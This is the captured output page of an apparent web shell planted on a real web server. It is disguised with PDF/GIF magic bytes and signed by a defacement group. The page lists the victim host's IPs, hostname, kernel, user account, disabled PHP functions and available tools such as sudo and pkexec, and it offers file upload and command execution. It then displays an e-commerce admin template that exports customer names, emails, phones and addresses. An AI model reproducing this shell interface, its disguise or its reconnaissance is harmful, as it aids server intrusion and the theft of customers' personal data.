%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.162
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stellasp/www/application/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/stellasp/www/application/views/admin//customers_xml.php
<?php header ("Content-Type:text/xml"); 
echo '<?xml version="1.0" ?>';?>
<export>
<?php foreach($customers as $customer) : 
		$customer = (array)$customer;
?>
<customer>
<id><?php echo $customer['id'] ?></id>
<firstname><?php echo $customer['firstname'] ?></firstname>
<lastname><?php echo $customer['lastname'] ?></lastname>
<email><?php echo $customer['email'] ?></email>
<confirmed><?php echo $customer['confirmed'] ?></confirmed>
<email_subscribe><?php echo $customer['email_subscribe'] ?></email_subscribe>
<phone><?php echo $customer['phone'] ?></phone>
<company><?php echo $customer['company'] ?></company>
<group><?php $group = $this->Customer_model->get_group($customer['id']); echo ($group) ? $group->name : ''  ?></group>
<billing_address>
	<?php 
		$bill_address = $this->Customer_model->get_address($customer['default_billing_address']);
		if($bill_address)
		{
			foreach($bill_address['field_data'] as $k=>$v)
			  {
				echo "<$k>$v</$k>";
			  } 
		}
	?>
</billing_address>
<shipping_address>
	<?php 
		$ship_address = $this->Customer_model->get_address($customer['default_shipping_address']);
		if($ship_address)
		{
			foreach($ship_address['field_data'] as $k=>$v)
			  {
				echo "<$k>$v</$k>";
			  }  
		}
	?>
</shipping_address>

</customer>
<?php endforeach; ?>
</export>

Anon7 - 2022
SCDN GOK